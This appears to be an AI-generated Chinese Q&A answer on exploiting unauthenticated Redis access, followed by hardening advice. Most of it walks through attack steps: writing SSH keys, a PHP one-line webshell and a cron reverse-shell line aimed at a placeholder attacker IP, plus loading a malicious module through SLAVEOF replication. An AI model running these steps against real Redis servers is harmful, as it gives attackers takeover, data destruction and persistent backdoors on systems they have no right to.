描述一下Redis未授权访问漏洞的利用方式

Redis未授权访问漏洞是指攻击者在未经验证的情况下,直接连接到开放的Redis服务(默认端口6379),并利用其内置命令执行恶意操作。以下是主要的利用方式:


1. 信息泄露与敏感操作

  • 获取数据库信息:使用 INFO 命令可获取Redis版本、操作系统内核、数据目录等敏感信息。
  • 枚举所有数据:通过 KEYS * 命令列出所有键,结合 GETHGETALL 等命令读取数据。

2. 写入SSH公钥获取服务器权限

  • 原理:若Redis以root权限运行,且服务器开启了SSH服务,攻击者可覆盖或写入SSH公钥到 /root/.ssh/authorized_keys 文件。
  • 步骤
    1. 本地生成SSH密钥对:ssh-keygen -t rsa
    2. 将公钥写入文件,并利用Redis的 SET 命令将其写入目标服务器的Redis内存。
    3. 通过 CONFIG SET dirCONFIG SET dbfilename 命令设置Redis持久化目录为 /root/.ssh/,文件名设为 authorized_keys
    4. 执行 SAVE 命令将内存数据导出到文件,从而完成公钥写入。
    5. 攻击者可直接通过SSH私钥登录服务器。

3. 写入Webshell控制网站

  • 适用场景:已知目标服务器Web目录路径,且Redis具有该目录写权限。
  • 步骤
    1. 通过 CONFIG SET dir 设置目录为Web根路径(如 /var/www/html)。
    2. 使用 SET 命令将一句话木马(如 <?php @eval($_POST['cmd']);?>)写入值为PHP文件的内容。
    3. 通过 CONFIG SET dbfilename 设置导出文件名为 shell.php
    4. 执行 SAVE 导出文件,攻击者即可通过Web访问该shell执行系统命令。

4. 写入计划任务(Cron)反弹Shell

  • 原理:Linux系统可通过Cron任务定时执行命令。
  • 步骤
    1. 设置Redis持久化目录为 /etc/cron.d/(或其他Cron目录)。
    2. 写入键值对,内容为计划任务命令(如 * * * * * root /bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1)。
    3. 设置导出文件名为任务文件(如 root-shell),执行 SAVE
    4. Cron会定时执行该任务,向攻击者服务器反弹Shell。

5. 利用主从复制功能执行代码

  • 原理:Redis主从复制机制中,从节点可同步主节点的数据和代码。
  • 步骤
    1. 攻击者搭建恶意Redis服务器,伪装成主节点,并在数据中插入恶意模块(如 .so 扩展模块)。
    2. 通过 SLAVEOF 命令使目标Redis设置为从节点,同步恶意数据。
    3. 加载恶意模块并执行任意代码(如系统命令执行)。

6. 其他利用方式

  • 数据篡改或删除:直接使用 FLUSHALL 清空数据,或修改业务关键数据。
  • 作为内网渗透跳板:通过 Redis 的 SLAVEOF 或模块功能进一步渗透内网。
  • 挖矿木马植入:写入挖矿程序或持久化后门。

漏洞修复建议

  1. 启用认证:在配置文件中设置 requirepass 强密码。
  2. 限制网络访问:通过防火墙限制Redis端口仅对可信IP开放,避免绑定在 0.0.0.0
  3. 降权运行:使用非root用户运行Redis服务。
  4. 禁用高危命令:在配置文件中使用 rename-command 重命名或禁用 CONFIGSLAVEOFEVAL 等危险命令。
  5. 启用保护模式:确保 protected-mode 设置为 yes(Redis 3.2+ 默认启用)。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。


评论 (0)